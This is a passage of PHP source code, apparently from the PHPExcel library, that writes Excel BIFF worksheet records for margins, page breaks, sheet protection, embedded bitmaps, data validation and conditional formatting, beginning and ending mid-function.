// if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Store the TOPMARGIN BIFF record. */ private function writeMarginTop() { $record = 0x0028; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getTop(); // Margin in inches $header = pack("vv", $record, $length); $data = pack("d", $margin); if (self::getByteOrder()) { // if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Store the BOTTOMMARGIN BIFF record. */ private function writeMarginBottom() { $record = 0x0029; // Record identifier $length = 0x0008; // Bytes to follow $margin = $this->phpSheet->getPageMargins()->getBottom(); // Margin in inches $header = pack("vv", $record, $length); $data = pack("d", $margin); if (self::getByteOrder()) { // if it's Big Endian $data = strrev($data); } $this->append($header . $data); } /** * Write the PRINTHEADERS BIFF record. */ private function writePrintHeaders() { $record = 0x002a; // Record identifier $length = 0x0002; // Bytes to follow $fPrintRwCol = $this->_print_headers; // Boolean flag $header = pack("vv", $record, $length); $data = pack("v", $fPrintRwCol); $this->append($header . $data); } /** * Write the PRINTGRIDLINES BIFF record. Must be used in conjunction with the * GRIDSET record. */ private function writePrintGridlines() { $record = 0x002b; // Record identifier $length = 0x0002; // Bytes to follow $fPrintGrid = $this->phpSheet->getPrintGridlines() ? 1 : 0; // Boolean flag $header = pack("vv", $record, $length); $data = pack("v", $fPrintGrid); $this->append($header . $data); } /** * Write the GRIDSET BIFF record. Must be used in conjunction with the * PRINTGRIDLINES record. */ private function writeGridset() { $record = 0x0082; // Record identifier $length = 0x0002; // Bytes to follow $fGridSet = !$this->phpSheet->getPrintGridlines(); // Boolean flag $header = pack("vv", $record, $length); $data = pack("v", $fGridSet); $this->append($header . $data); } /** * Write the AUTOFILTERINFO BIFF record. This is used to configure the number of autofilter select used in the sheet. */ private function writeAutoFilterInfo() { $record = 0x009D; // Record identifier $length = 0x0002; // Bytes to follow $rangeBounds = PHPExcel_Cell::rangeBoundaries($this->phpSheet->getAutoFilter()->getRange()); $iNumFilters = 1 + $rangeBounds[1][0] - $rangeBounds[0][0]; $header = pack("vv", $record, $length); $data = pack("v", $iNumFilters); $this->append($header . $data); } /** * Write the GUTS BIFF record. This is used to configure the gutter margins * where Excel outline symbols are displayed. The visibility of the gutters is * controlled by a flag in WSBOOL. * * @see writeWsbool() */ private function writeGuts() { $record = 0x0080; // Record identifier $length = 0x0008; // Bytes to follow $dxRwGut = 0x0000; // Size of row gutter $dxColGut = 0x0000; // Size of col gutter // determine maximum row outline level $maxRowOutlineLevel = 0; foreach ($this->phpSheet->getRowDimensions() as $rowDimension) { $maxRowOutlineLevel = max($maxRowOutlineLevel, $rowDimension->getOutlineLevel()); } $col_level = 0; // Calculate the maximum column outline level. The equivalent calculation // for the row outline level is carried out in writeRow(). $colcount = count($this->columnInfo); for ($i = 0; $i < $colcount; ++$i) { $col_level = max($this->columnInfo[$i][5], $col_level); } // Set the limits for the outline levels (0 <= x <= 7). $col_level = max(0, min($col_level, 7)); // The displayed level is one greater than the max outline levels if ($maxRowOutlineLevel) { ++$maxRowOutlineLevel; } if ($col_level) { ++$col_level; } $header = pack("vv", $record, $length); $data = pack("vvvv", $dxRwGut, $dxColGut, $maxRowOutlineLevel, $col_level); $this->append($header.$data); } /** * Write the WSBOOL BIFF record, mainly for fit-to-page. Used in conjunction * with the SETUP record. */ private function writeWsbool() { $record = 0x0081; // Record identifier $length = 0x0002; // Bytes to follow $grbit = 0x0000; // The only option that is of interest is the flag for fit to page. So we // set all the options in one go. // // Set the option flags $grbit |= 0x0001; // Auto page breaks visible if ($this->outlineStyle) { $grbit |= 0x0020; // Auto outline styles } if ($this->phpSheet->getShowSummaryBelow()) { $grbit |= 0x0040; // Outline summary below } if ($this->phpSheet->getShowSummaryRight()) { $grbit |= 0x0080; // Outline summary right } if ($this->phpSheet->getPageSetup()->getFitToPage()) { $grbit |= 0x0100; // Page setup fit to page } if ($this->outlineOn) { $grbit |= 0x0400; // Outline symbols displayed } $header = pack("vv", $record, $length); $data = pack("v", $grbit); $this->append($header . $data); } /** * Write the HORIZONTALPAGEBREAKS and VERTICALPAGEBREAKS BIFF records. */ private function writeBreaks() { // initialize $vbreaks = array(); $hbreaks = array(); foreach ($this->phpSheet->getBreaks() as $cell => $breakType) { // Fetch coordinates $coordinates = PHPExcel_Cell::coordinateFromString($cell); // Decide what to do by the type of break switch ($breakType) { case PHPExcel_Worksheet::BREAK_COLUMN: // Add to list of vertical breaks $vbreaks[] = PHPExcel_Cell::columnIndexFromString($coordinates[0]) - 1; break; case PHPExcel_Worksheet::BREAK_ROW: // Add to list of horizontal breaks $hbreaks[] = $coordinates[1]; break; case PHPExcel_Worksheet::BREAK_NONE: default: // Nothing to do break; } } //horizontal page breaks if (!empty($hbreaks)) { // Sort and filter array of page breaks sort($hbreaks, SORT_NUMERIC); if ($hbreaks[0] == 0) { // don't use first break if it's 0 array_shift($hbreaks); } $record = 0x001b; // Record identifier $cbrk = count($hbreaks); // Number of page breaks $length = 2 + 6 * $cbrk; // Bytes to follow $header = pack("vv", $record, $length); $data = pack("v", $cbrk); // Append each page break foreach ($hbreaks as $hbreak) { $data .= pack("vvv", $hbreak, 0x0000, 0x00ff); } $this->append($header . $data); } // vertical page breaks if (!empty($vbreaks)) { // 1000 vertical pagebreaks appears to be an internal Excel 5 limit. // It is slightly higher in Excel 97/200, approx. 1026 $vbreaks = array_slice($vbreaks, 0, 1000); // Sort and filter array of page breaks sort($vbreaks, SORT_NUMERIC); if ($vbreaks[0] == 0) { // don't use first break if it's 0 array_shift($vbreaks); } $record = 0x001a; // Record identifier $cbrk = count($vbreaks); // Number of page breaks $length = 2 + 6 * $cbrk; // Bytes to follow $header = pack("vv", $record, $length); $data = pack("v", $cbrk); // Append each page break foreach ($vbreaks as $vbreak) { $data .= pack("vvv", $vbreak, 0x0000, 0xffff); } $this->append($header . $data); } } /** * Set the Biff PROTECT record to indicate that the worksheet is protected. */ private function writeProtect() { // Exit unless sheet protection has been specified if (!$this->phpSheet->getProtection()->getSheet()) { return; } $record = 0x0012; // Record identifier $length = 0x0002; // Bytes to follow $fLock = 1; // Worksheet is protected $header = pack("vv", $record, $length); $data = pack("v", $fLock); $this->append($header.$data); } /** * Write SCENPROTECT */ private function writeScenProtect() { // Exit if sheet protection is not active if (!$this->phpSheet->getProtection()->getSheet()) { return; } // Exit if scenarios are not protected if (!$this->phpSheet->getProtection()->getScenarios()) { return; } $record = 0x00DD; // Record identifier $length = 0x0002; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('v', 1); $this->append($header . $data); } /** * Write OBJECTPROTECT */ private function writeObjectProtect() { // Exit if sheet protection is not active if (!$this->phpSheet->getProtection()->getSheet()) { return; } // Exit if objects are not protected if (!$this->phpSheet->getProtection()->getObjects()) { return; } $record = 0x0063; // Record identifier $length = 0x0002; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('v', 1); $this->append($header . $data); } /** * Write the worksheet PASSWORD record. */ private function writePassword() { // Exit unless sheet protection and password have been specified if (!$this->phpSheet->getProtection()->getSheet() || !$this->phpSheet->getProtection()->getPassword()) { return; } $record = 0x0013; // Record identifier $length = 0x0002; // Bytes to follow $wPassword = hexdec($this->phpSheet->getProtection()->getPassword()); // Encoded password $header = pack("vv", $record, $length); $data = pack("v", $wPassword); $this->append($header . $data); } /** * Insert a 24bit bitmap image in a worksheet. * * @access public * @param integer $row The row we are going to insert the bitmap into * @param integer $col The column we are going to insert the bitmap into * @param mixed $bitmap The bitmap filename or GD-image resource * @param integer $x The horizontal position (offset) of the image inside the cell. * @param integer $y The vertical position (offset) of the image inside the cell. * @param float $scale_x The horizontal scale * @param float $scale_y The vertical scale */ public function insertBitmap($row, $col, $bitmap, $x = 0, $y = 0, $scale_x = 1, $scale_y = 1) { $bitmap_array = (is_resource($bitmap) ? $this->processBitmapGd($bitmap) : $this->processBitmap($bitmap)); list($width, $height, $size, $data) = $bitmap_array; //$this->processBitmap($bitmap); // Scale the frame of the image. $width *= $scale_x; $height *= $scale_y; // Calculate the vertices of the image and write the OBJ record $this->positionImage($col, $row, $x, $y, $width, $height); // Write the IMDATA record to store the bitmap data $record = 0x007f; $length = 8 + $size; $cf = 0x09; $env = 0x01; $lcb = $size; $header = pack("vvvvV", $record, $length, $cf, $env, $lcb); $this->append($header.$data); } /** * Calculate the vertices that define the position of the image as required by * the OBJ record. * * +------------+------------+ * | A | B | * +-----+------------+------------+ * | |(x1,y1) | | * | 1 |(A1)._______|______ | * | | | | | * | | | | | * +-----+----| BITMAP |-----+ * | | | | | * | 2 | |______________. | * | | | (B2)| * | | | (x2,y2)| * +---- +------------+------------+ * * Example of a bitmap that covers some of the area from cell A1 to cell B2. * * Based on the width and height of the bitmap we need to calculate 8 vars: * $col_start, $row_start, $col_end, $row_end, $x1, $y1, $x2, $y2. * The width and height of the cells are also variable and have to be taken into * account. * The values of $col_start and $row_start are passed in from the calling * function. The values of $col_end and $row_end are calculated by subtracting * the width and height of the bitmap from the width and height of the * underlying cells. * The vertices are expressed as a percentage of the underlying cell width as * follows (rhs values are in pixels): * * x1 = X / W *1024 * y1 = Y / H *256 * x2 = (X-1) / W *1024 * y2 = (Y-1) / H *256 * * Where: X is distance from the left side of the underlying cell * Y is distance from the top of the underlying cell * W is the width of the cell * H is the height of the cell * The SDK incorrectly states that the height should be expressed as a * percentage of 1024. * * @access private * @param integer $col_start Col containing upper left corner of object * @param integer $row_start Row containing top left corner of object * @param integer $x1 Distance to left side of object * @param integer $y1 Distance to top of object * @param integer $width Width of image frame * @param integer $height Height of image frame */ public function positionImage($col_start, $row_start, $x1, $y1, $width, $height) { // Initialise end cell to the same as the start cell $col_end = $col_start; // Col containing lower right corner of object $row_end = $row_start; // Row containing bottom right corner of object // Zero the specified offset if greater than the cell dimensions if ($x1 >= PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_start))) { $x1 = 0; } if ($y1 >= PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $row_start + 1)) { $y1 = 0; } $width = $width + $x1 -1; $height = $height + $y1 -1; // Subtract the underlying cell widths to find the end cell of the image while ($width >= PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end))) { $width -= PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end)); ++$col_end; } // Subtract the underlying cell heights to find the end cell of the image while ($height >= PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $row_end + 1)) { $height -= PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $row_end + 1); ++$row_end; } // Bitmap isn't allowed to start or finish in a hidden cell, i.e. a cell // with zero eight or width. // if (PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_start)) == 0) { return; } if (PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end)) == 0) { return; } if (PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $row_start + 1) == 0) { return; } if (PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $row_end + 1) == 0) { return; } // Convert the pixel values to the percentage value expected by Excel $x1 = $x1 / PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_start)) * 1024; $y1 = $y1 / PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $row_start + 1) * 256; $x2 = $width / PHPExcel_Shared_Excel5::sizeCol($this->phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end)) * 1024; // Distance to right side of object $y2 = $height / PHPExcel_Shared_Excel5::sizeRow($this->phpSheet, $row_end + 1) * 256; // Distance to bottom of object $this->writeObjPicture($col_start, $x1, $row_start, $y1, $col_end, $x2, $row_end, $y2); } /** * Store the OBJ record that precedes an IMDATA record. This could be generalise * to support other Excel objects. * * @param integer $colL Column containing upper left corner of object * @param integer $dxL Distance from left side of cell * @param integer $rwT Row containing top left corner of object * @param integer $dyT Distance from top of cell * @param integer $colR Column containing lower right corner of object * @param integer $dxR Distance from right of cell * @param integer $rwB Row containing bottom right corner of object * @param integer $dyB Distance from bottom of cell */ private function writeObjPicture($colL, $dxL, $rwT, $dyT, $colR, $dxR, $rwB, $dyB) { $record = 0x005d; // Record identifier $length = 0x003c; // Bytes to follow $cObj = 0x0001; // Count of objects in file (set to 1) $OT = 0x0008; // Object type. 8 = Picture $id = 0x0001; // Object ID $grbit = 0x0614; // Option flags $cbMacro = 0x0000; // Length of FMLA structure $Reserved1 = 0x0000; // Reserved $Reserved2 = 0x0000; // Reserved $icvBack = 0x09; // Background colour $icvFore = 0x09; // Foreground colour $fls = 0x00; // Fill pattern $fAuto = 0x00; // Automatic fill $icv = 0x08; // Line colour $lns = 0xff; // Line style $lnw = 0x01; // Line weight $fAutoB = 0x00; // Automatic border $frs = 0x0000; // Frame style $cf = 0x0009; // Image format, 9 = bitmap $Reserved3 = 0x0000; // Reserved $cbPictFmla = 0x0000; // Length of FMLA structure $Reserved4 = 0x0000; // Reserved $grbit2 = 0x0001; // Option flags $Reserved5 = 0x0000; // Reserved $header = pack("vv", $record, $length); $data = pack("V", $cObj); $data .= pack("v", $OT); $data .= pack("v", $id); $data .= pack("v", $grbit); $data .= pack("v", $colL); $data .= pack("v", $dxL); $data .= pack("v", $rwT); $data .= pack("v", $dyT); $data .= pack("v", $colR); $data .= pack("v", $dxR); $data .= pack("v", $rwB); $data .= pack("v", $dyB); $data .= pack("v", $cbMacro); $data .= pack("V", $Reserved1); $data .= pack("v", $Reserved2); $data .= pack("C", $icvBack); $data .= pack("C", $icvFore); $data .= pack("C", $fls); $data .= pack("C", $fAuto); $data .= pack("C", $icv); $data .= pack("C", $lns); $data .= pack("C", $lnw); $data .= pack("C", $fAutoB); $data .= pack("v", $frs); $data .= pack("V", $cf); $data .= pack("v", $Reserved3); $data .= pack("v", $cbPictFmla); $data .= pack("v", $Reserved4); $data .= pack("v", $grbit2); $data .= pack("V", $Reserved5); $this->append($header . $data); } /** * Convert a GD-image into the internal format. * * @access private * @param resource $image The image to process * @return array Array with data and properties of the bitmap */ public function processBitmapGd($image) { $width = imagesx($image); $height = imagesy($image); $data = pack("Vvvvv", 0x000c, $width, $height, 0x01, 0x18); for ($j=$height; $j--;) { for ($i=0; $i < $width; ++$i) { $color = imagecolorsforindex($image, imagecolorat($image, $i, $j)); foreach (array("red", "green", "blue") as $key) { $color[$key] = $color[$key] + round((255 - $color[$key]) * $color["alpha"] / 127); } $data .= chr($color["blue"]) . chr($color["green"]) . chr($color["red"]); } if (3*$width % 4) { $data .= str_repeat("\x00", 4 - 3*$width % 4); } } return array($width, $height, strlen($data), $data); } /** * Convert a 24 bit bitmap into the modified internal format used by Windows. * This is described in BITMAPCOREHEADER and BITMAPCOREINFO structures in the * MSDN library. * * @access private * @param string $bitmap The bitmap to process * @return array Array with data and properties of the bitmap */ public function processBitmap($bitmap) { // Open file. $bmp_fd = @fopen($bitmap, "rb"); if (!$bmp_fd) { throw new PHPExcel_Writer_Exception("Couldn't import $bitmap"); } // Slurp the file into a string. $data = fread($bmp_fd, filesize($bitmap)); // Check that the file is big enough to be a bitmap. if (strlen($data) <= 0x36) { throw new PHPExcel_Writer_Exception("$bitmap doesn't contain enough data.\n"); } // The first 2 bytes are used to identify the bitmap. $identity = unpack("A2ident", $data); if ($identity['ident'] != "BM") { throw new PHPExcel_Writer_Exception("$bitmap doesn't appear to be a valid bitmap image.\n"); } // Remove bitmap data: ID. $data = substr($data, 2); // Read and remove the bitmap size. This is more reliable than reading // the data size at offset 0x22. // $size_array = unpack("Vsa", substr($data, 0, 4)); $size = $size_array['sa']; $data = substr($data, 4); $size -= 0x36; // Subtract size of bitmap header. $size += 0x0C; // Add size of BIFF header. // Remove bitmap data: reserved, offset, header length. $data = substr($data, 12); // Read and remove the bitmap width and height. Verify the sizes. $width_and_height = unpack("V2", substr($data, 0, 8)); $width = $width_and_height[1]; $height = $width_and_height[2]; $data = substr($data, 8); if ($width > 0xFFFF) { throw new PHPExcel_Writer_Exception("$bitmap: largest image width supported is 65k.\n"); } if ($height > 0xFFFF) { throw new PHPExcel_Writer_Exception("$bitmap: largest image height supported is 65k.\n"); } // Read and remove the bitmap planes and bpp data. Verify them. $planes_and_bitcount = unpack("v2", substr($data, 0, 4)); $data = substr($data, 4); if ($planes_and_bitcount[2] != 24) { // Bitcount throw new PHPExcel_Writer_Exception("$bitmap isn't a 24bit true color bitmap.\n"); } if ($planes_and_bitcount[1] != 1) { throw new PHPExcel_Writer_Exception("$bitmap: only 1 plane supported in bitmap image.\n"); } // Read and remove the bitmap compression. Verify compression. $compression = unpack("Vcomp", substr($data, 0, 4)); $data = substr($data, 4); //$compression = 0; if ($compression['comp'] != 0) { throw new PHPExcel_Writer_Exception("$bitmap: compression not supported in bitmap image.\n"); } // Remove bitmap data: data size, hres, vres, colours, imp. colours. $data = substr($data, 20); // Add the BITMAPCOREHEADER data $header = pack("Vvvvv", 0x000c, $width, $height, 0x01, 0x18); $data = $header . $data; return (array($width, $height, $size, $data)); } /** * Store the window zoom factor. This should be a reduced fraction but for * simplicity we will store all fractions with a numerator of 100. */ private function writeZoom() { // If scale is 100 we don't need to write a record if ($this->phpSheet->getSheetView()->getZoomScale() == 100) { return; } $record = 0x00A0; // Record identifier $length = 0x0004; // Bytes to follow $header = pack("vv", $record, $length); $data = pack("vv", $this->phpSheet->getSheetView()->getZoomScale(), 100); $this->append($header . $data); } /** * Get Escher object * * @return PHPExcel_Shared_Escher */ public function getEscher() { return $this->escher; } /** * Set Escher object * * @param PHPExcel_Shared_Escher $pValue */ public function setEscher(PHPExcel_Shared_Escher $pValue = null) { $this->escher = $pValue; } /** * Write MSODRAWING record */ private function writeMsoDrawing() { // write the Escher stream if necessary if (isset($this->escher)) { $writer = new PHPExcel_Writer_Excel5_Escher($this->escher); $data = $writer->close(); $spOffsets = $writer->getSpOffsets(); $spTypes = $writer->getSpTypes(); // write the neccesary MSODRAWING, OBJ records // split the Escher stream $spOffsets[0] = 0; $nm = count($spOffsets) - 1; // number of shapes excluding first shape for ($i = 1; $i <= $nm; ++$i) { // MSODRAWING record $record = 0x00EC; // Record identifier // chunk of Escher stream for one shape $dataChunk = substr($data, $spOffsets[$i -1], $spOffsets[$i] - $spOffsets[$i - 1]); $length = strlen($dataChunk); $header = pack("vv", $record, $length); $this->append($header . $dataChunk); // OBJ record $record = 0x005D; // record identifier $objData = ''; // ftCmo if ($spTypes[$i] == 0x00C9) { // Add ftCmo (common object data) subobject $objData .= pack( 'vvvvvVVV', 0x0015, // 0x0015 = ftCmo 0x0012, // length of ftCmo data 0x0014, // object type, 0x0014 = filter $i, // object id number, Excel seems to use 1-based index, local for the sheet 0x2101, // option flags, 0x2001 is what OpenOffice.org uses 0, // reserved 0, // reserved 0 // reserved ); // Add ftSbs Scroll bar subobject $objData .= pack('vv', 0x00C, 0x0014); $objData .= pack('H*', '0000000000000000640001000A00000010000100'); // Add ftLbsData (List box data) subobject $objData .= pack('vv', 0x0013, 0x1FEE); $objData .= pack('H*', '00000000010001030000020008005700'); } else { // Add ftCmo (common object data) subobject $objData .= pack( 'vvvvvVVV', 0x0015, // 0x0015 = ftCmo 0x0012, // length of ftCmo data 0x0008, // object type, 0x0008 = picture $i, // object id number, Excel seems to use 1-based index, local for the sheet 0x6011, // option flags, 0x6011 is what OpenOffice.org uses 0, // reserved 0, // reserved 0 // reserved ); } // ftEnd $objData .= pack( 'vv', 0x0000, // 0x0000 = ftEnd 0x0000 // length of ftEnd data ); $length = strlen($objData); $header = pack('vv', $record, $length); $this->append($header . $objData); } } } /** * Store the DATAVALIDATIONS and DATAVALIDATION records. */ private function writeDataValidity() { // Datavalidation collection $dataValidationCollection = $this->phpSheet->getDataValidationCollection(); // Write data validations? if (!empty($dataValidationCollection)) { // DATAVALIDATIONS record $record = 0x01B2; // Record identifier $length = 0x0012; // Bytes to follow $grbit = 0x0000; // Prompt box at cell, no cached validity data at DV records $horPos = 0x00000000; // Horizontal position of prompt box, if fixed position $verPos = 0x00000000; // Vertical position of prompt box, if fixed position $objId = 0xFFFFFFFF; // Object identifier of drop down arrow object, or -1 if not visible $header = pack('vv', $record, $length); $data = pack('vVVVV', $grbit, $horPos, $verPos, $objId, count($dataValidationCollection)); $this->append($header.$data); // DATAVALIDATION records $record = 0x01BE; // Record identifier foreach ($dataValidationCollection as $cellCoordinate => $dataValidation) { // initialize record data $data = ''; // options $options = 0x00000000; // data type $type = $dataValidation->getType(); switch ($type) { case PHPExcel_Cell_DataValidation::TYPE_NONE: $type = 0x00; break; case PHPExcel_Cell_DataValidation::TYPE_WHOLE: $type = 0x01; break; case PHPExcel_Cell_DataValidation::TYPE_DECIMAL: $type = 0x02; break; case PHPExcel_Cell_DataValidation::TYPE_LIST: $type = 0x03; break; case PHPExcel_Cell_DataValidation::TYPE_DATE: $type = 0x04; break; case PHPExcel_Cell_DataValidation::TYPE_TIME: $type = 0x05; break; case PHPExcel_Cell_DataValidation::TYPE_TEXTLENGTH: $type = 0x06; break; case PHPExcel_Cell_DataValidation::TYPE_CUSTOM: $type = 0x07; break; } $options |= $type << 0; // error style $errorStyle = $dataValidation->getType(); switch ($errorStyle) { case PHPExcel_Cell_DataValidation::STYLE_STOP: $errorStyle = 0x00; break; case PHPExcel_Cell_DataValidation::STYLE_WARNING: $errorStyle = 0x01; break; case PHPExcel_Cell_DataValidation::STYLE_INFORMATION: $errorStyle = 0x02; break; } $options |= $errorStyle << 4; // explicit formula? if ($type == 0x03 && preg_match('/^\".*\"$/', $dataValidation->getFormula1())) { $options |= 0x01 << 7; } // empty cells allowed $options |= $dataValidation->getAllowBlank() << 8; // show drop down $options |= (!$dataValidation->getShowDropDown()) << 9; // show input message $options |= $dataValidation->getShowInputMessage() << 18; // show error message $options |= $dataValidation->getShowErrorMessage() << 19; // condition operator $operator = $dataValidation->getOperator(); switch ($operator) { case PHPExcel_Cell_DataValidation::OPERATOR_BETWEEN: $operator = 0x00; break; case PHPExcel_Cell_DataValidation::OPERATOR_NOTBETWEEN: $operator = 0x01; break; case PHPExcel_Cell_DataValidation::OPERATOR_EQUAL: $operator = 0x02; break; case PHPExcel_Cell_DataValidation::OPERATOR_NOTEQUAL: $operator = 0x03; break; case PHPExcel_Cell_DataValidation::OPERATOR_GREATERTHAN: $operator = 0x04; break; case PHPExcel_Cell_DataValidation::OPERATOR_LESSTHAN: $operator = 0x05; break; case PHPExcel_Cell_DataValidation::OPERATOR_GREATERTHANOREQUAL: $operator = 0x06; break; case PHPExcel_Cell_DataValidation::OPERATOR_LESSTHANOREQUAL: $operator = 0x07; break; } $options |= $operator << 20; $data = pack('V', $options); // prompt title $promptTitle = $dataValidation->getPromptTitle() !== '' ? $dataValidation->getPromptTitle() : chr(0); $data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($promptTitle); // error title $errorTitle = $dataValidation->getErrorTitle() !== '' ? $dataValidation->getErrorTitle() : chr(0); $data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($errorTitle); // prompt text $prompt = $dataValidation->getPrompt() !== '' ? $dataValidation->getPrompt() : chr(0); $data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($prompt); // error text $error = $dataValidation->getError() !== '' ? $dataValidation->getError() : chr(0); $data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($error); // formula 1 try { $formula1 = $dataValidation->getFormula1(); if ($type == 0x03) { // list type $formula1 = str_replace(',', chr(0), $formula1); } $this->parser->parse($formula1); $formula1 = $this->parser->toReversePolish(); $sz1 = strlen($formula1); } catch (PHPExcel_Exception $e) { $sz1 = 0; $formula1 = ''; } $data .= pack('vv', $sz1, 0x0000); $data .= $formula1; // formula 2 try { $formula2 = $dataValidation->getFormula2(); if ($formula2 === '') { throw new PHPExcel_Writer_Exception('No formula2'); } $this->parser->parse($formula2); $formula2 = $this->parser->toReversePolish(); $sz2 = strlen($formula2); } catch (PHPExcel_Exception $e) { $sz2 = 0; $formula2 = ''; } $data .= pack('vv', $sz2, 0x0000); $data .= $formula2; // cell range address list $data .= pack('v', 0x0001); $data .= $this->writeBIFF8CellRangeAddressFixed($cellCoordinate); $length = strlen($data); $header = pack("vv", $record, $length); $this->append($header . $data); } } } /** * Map Error code * * @param string $errorCode * @return int */ private static function mapErrorCode($errorCode) { switch ($errorCode) { case '#NULL!': return 0x00; case '#DIV/0!': return 0x07; case '#VALUE!': return 0x0F; case '#REF!': return 0x17; case '#NAME?': return 0x1D; case '#NUM!': return 0x24; case '#N/A': return 0x2A; } return 0; } /** * Write PLV Record */ private function writePageLayoutView() { $record = 0x088B; // Record identifier $length = 0x0010; // Bytes to follow $rt = 0x088B; // 2 $grbitFrt = 0x0000; // 2 $reserved = 0x0000000000000000; // 8 $wScalvePLV = $this->phpSheet->getSheetView()->getZoomScale(); // 2 // The options flags that comprise $grbit if ($this->phpSheet->getSheetView()->getView() == PHPExcel_Worksheet_SheetView::SHEETVIEW_PAGE_LAYOUT) { $fPageLayoutView = 1; } else { $fPageLayoutView = 0; } $fRulerVisible = 0; $fWhitespaceHidden = 0; $grbit = $fPageLayoutView; // 2 $grbit |= $fRulerVisible << 1; $grbit |= $fWhitespaceHidden << 3; $header = pack("vv", $record, $length); $data = pack("vvVVvv", $rt, $grbitFrt, 0x00000000, 0x00000000, $wScalvePLV, $grbit); $this->append($header . $data); } /** * Write CFRule Record * @param PHPExcel_Style_Conditional $conditional */ private function writeCFRule(PHPExcel_Style_Conditional $conditional) { $record = 0x01B1; // Record identifier // $type : Type of the CF // $operatorType : Comparison operator if ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_EXPRESSION) { $type = 0x02; $operatorType = 0x00; } elseif ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS) { $type = 0x01; switch ($conditional->getOperatorType()) { case PHPExcel_Style_Conditional::OPERATOR_NONE: $operatorType = 0x00; break; case PHPExcel_Style_Conditional::OPERATOR_EQUAL: $operatorType = 0x03; break; case PHPExcel_Style_Conditional::OPERATOR_GREATERTHAN: $operatorType = 0x05; break; case PHPExcel_Style_Conditional::OPERATOR_GREATERTHANOREQUAL: $operatorType = 0x07; break; case PHPExcel_Style_Conditional::OPERATOR_LESSTHAN: $operatorType = 0x06; break; case PHPExcel_Style_Conditional::OPERATOR_LESSTHANOREQUAL: $operatorType = 0x08; break; case PHPExcel_Style_Conditional::OPERATOR_NOTEQUAL: $operatorType = 0x04; break; case PHPExcel_Style_Conditional::OPERATOR_BETWEEN: $operatorType = 0x01; break; // not OPERATOR_NOTBETWEEN 0x02 } } // $szValue1 : size of the formula data for first value or formula // $szValue2 : size of the formula data for second value or formula $arrConditions = $conditional->getConditions(); $numConditions = sizeof($arrConditions); if ($numConditions == 1) { $szValue1 = ($arrConditions[0] <= 65535 ? 3 : 0x0000); $szValue2 = 0x0000; $operand1 = pack('Cv', 0x1E, $arrConditions[0]); $operand2 = null; } elseif ($numConditions == 2 && ($conditional->getOperatorType() == PHPExcel_Style_Conditional::OPERATOR_BETWEEN)) { $szValue1 = ($arrConditions[0] <= 65535 ? 3 : 0x0000); $szValue2 = ($arrConditions[1] <= 65535 ? 3 : 0x0000); $operand1 = pack('Cv', 0x1E, $arrConditions[0]); $operand2 = pack('Cv', 0x1E, $arrConditions[1]); } else { $szValue1 = 0x0000; $szValue2 = 0x0000; $operand1 = null; $operand2 = null; } // $flags : Option flags // Alignment $bAlignHz = ($conditional->getStyle()->getAlignment()->getHorizontal() == null ? 1 : 0); $bAlignVt = ($conditional->getStyle()->getAlignment()->getVertical() == null ? 1 : 0); $bAlignWrapTx = ($conditional->getStyle()->getAlignment()->getWrapText() == false ? 1 : 0); $bTxRotation = ($conditional->getStyle()->getAlignment()->getTextRotation() == null ? 1 : 0); $bIndent = ($conditional->getStyle()->getAlignment()->getIndent() == 0 ? 1 : 0); $bShrinkToFit = ($conditional->getStyle()->getAlignment()->getShrinkToFit() == false ? 1 : 0); if ($bAlignHz == 0 || $bAlignVt == 0 || $bAlignWrapTx == 0 || $bTxRotation == 0 || $bIndent == 0 || $bShrinkToFit == 0) { $bFormatAlign = 1; } else { $bFormatAlign = 0; } // Protection $bProtLocked = ($conditional->getStyle()->getProtection()->getLocked() == null ? 1 : 0); $bProtHidden = ($conditional->getStyle()->getProtection()->getHidden() == null ? 1 : 0); if ($bProtLocked == 0 || $bProtHidden == 0) { $bFormatProt = 1; } else { $bFormatProt = 0; } // Border $bBorderLeft = ($conditional->getStyle()->getBorders()->getLeft()->getColor()->getARGB() == PHPExcel_Style_Color::COLOR_BLACK && $conditional->getStyle()->getBorders()->getLeft()->getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0); $bBorderRight = ($conditional->getStyle()->getBorders()->getRight()->getColor()->getARGB() == PHPExcel_Style_Color::COLOR_BLACK && $conditional->getStyle()->getBorders()->getRight()->getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0); $bBorderTop = ($conditional->getStyle()->getBorders()->getTop()->getColor()->getARGB() == PHPExcel_Style_Color::COLOR_BLACK && $conditional->getStyle()->getBorders()->getTop()->getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0); $bBorderBottom = ($conditional->getStyle()->getBorders()->getBottom()->getColor()->getARGB() == PHPExcel_Style_Color::COLOR_BLACK && $conditional->getStyle()->getBorders()->getBottom()->getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0); if ($bBorderLeft == 0 || $bBorderRight == 0 || $bBorderTop == 0 || $bBorderBottom == 0) { $bFormatBorder = 1; } else { $bFormatBorder = 0; } // 